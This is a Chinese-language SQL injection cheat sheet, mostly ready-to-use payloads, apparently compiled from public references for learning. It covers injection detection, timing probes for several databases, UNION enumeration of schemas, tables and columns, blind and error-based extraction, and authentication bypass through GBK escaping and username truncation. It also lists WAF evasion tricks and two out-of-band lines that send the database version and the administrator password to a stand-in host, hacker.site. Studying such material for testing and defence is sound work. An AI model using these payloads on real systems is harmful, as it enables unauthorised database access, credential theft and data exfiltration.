备忘单
- SQL injection cheat sheet | Web Security Academy
- PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings
介绍
SQL 注入是一种允许攻击者干扰应用程序对其数据库查询的一种攻击, 通常这种攻击允许我们查看其他一些数据库数据 (比如:其他用户账号或者其他数据), 在很多情况下,我们希望可以修改或删除此数据,从而导致应用程序的内容或行为的更改
:::info
当我们尝试 SQL 注入时,我们首先应当利用 入口点检测
的各个字符来修复我们的 SQL 查询语句,当然仅仅利用此我们并不会知道我们是否修复成功,我们还需要使用 逻辑运算符
和 时间
来帮助我们确定我们的 SQL 语句是否被修补成功, 一旦我们修补成功我们就应该确定数据库的类型
:::
入口点检测
当我们意识到 SQL 注入漏洞时,应该先探索处一种方式以在不破坏查询的情况下,注入我们的查询语句
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
# 后加注释
一旦我们修复了查询,我们就可以开始着手于修改数据了
注释
MySQL
#comment
-- comment # 注意 -- 后有一个空格
/*comment*/
/*! MYSQL 特殊 SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL 不支持注释
逻辑运算确认
我们可以利用 SQL 的逻辑操作来修补 SQL 语句的执行.
我们可能执行的语句为: SELECT id, password FROM user where id=$(id) and pass=$(pass)
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
常用的测试表:
时间确认
在某些情况下,我们的页面可能没有任何变化,这时候我们需要进行 SQL 盲注,来让数据库执行操作
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
有写情况下,查询并不运行,但是我们可以让查询进行几秒的复杂操作,而不是使用这些函数
识别数据库
我们可以执行数据库的特定功能来进行识别
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
利用 union
检测列数
如果我们可以看到查询输出,这就是我们利用的最佳方式, 但是首先我们需要找出初始请求的返回列数, 这是因为 union 查询要求两者返回相同数量的列
Order/Group by:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
- Order by : 是用于对检索的结果进行排序,我们需要使用指定排序的字段名称,因此当指定不存在的字段时会报错
- Group by : 是用于对 检索的结果进行分组, 因此当指定了不存在列时会报错
Union:
使用 NULL 值进行查询,直到查询正确:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
查询数据库名 表名 列名
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
错误信息
有时候我们可以看到报错信息,我们可以修改查询,以此来从数据库报错中获取信息
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
盲注
这种情况下我们查看不到结果,到那时我们可以区分出查询最终返回的响应为真还是假
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
利用报错盲注
当我们利用一些特殊的函数时,经过构造会产生一个报错内容,当这个内容可以被返回时就会产生这个漏洞
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
利用时间盲注
我们可以根据页面的上下文来区分查询的先赢,但是如果猜测字符正确,我们可以延长 SQL 执行时间来
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
堆叠查询
我们可以时堆叠查询来连续执行多个查询, 请注意在后续查询时, 结果不会返回到应用程序,因此该技术主要解决盲注, 我们可以使用第二个查询来触发 DNS查询 条件错误 时间延迟
Oracle不支持堆叠查询。MySQL、Microsoft和PostgreSQL支持它们:QUERY-1-HERE; QUERY-2-HERE
OAST 技术
如果没有其他利用方法有效,您可以尝试让数据库将信息过滤到您控制的外部主机。例如,通过 DNS 查询:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
利用 XXE 进行带外数据泄露
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
认证绕过
GBK 认证绕过
如果 ‘ 被转义,你可以使用 %A8%27,当 ‘ 被转义时,它将被创建:0xA80x5c0x27 ( ╘’ )
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
插入语句
修改现有对象/用户的密码
当数据库中存在一个用户 admin
时我们可以考虑创建一个 admin
的对象来尝试登陆,并修改我们的密码如果存在漏洞那么我们应该会修改掉 admin
用户密码
SQL截断攻击
如果数据库易受攻击别且限制了用户名最大字符数为 30,当我们想模拟用户 admin 时我们可以尝试考虑创建一个名为 admin [30 space] a
的用户名和密码.
数据库路检查引入的用户名是否存在于数据库中,,如果不存在,就会将用户名削减到允许的最大字符数比如 admin [space]
并且会自动删除最后的空格,最后会在数据库中更新用户 admin
的密码
PS : 在最新的 MYSQL 中这种插入将失效,因为当尝试插入比字段长度长的字符串将导致错误
WAF 旁路
无空格绕过
No Space (%20)
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
使用注释:
?id=1/*comment*/and/**/1=1/**/--
使用括号绕过:
?id=(1)and(1)=(1)--
无逗号绕过
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
通用
使用关键字黑名单
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
使用等效运算符
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
科学计数法绕过
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
绕过列名限制
如果原始查询和我们要从中提取的表使用相同数量的列,我们可以使用 0 UNION SELECT * FROM flag
也可以使用如下查询表的第三列,而不使用其名称 SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
利用逗号
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
暴力检测表
Auto_Wordlists/sqli.txt at main · carlospolop/Auto_Wordlists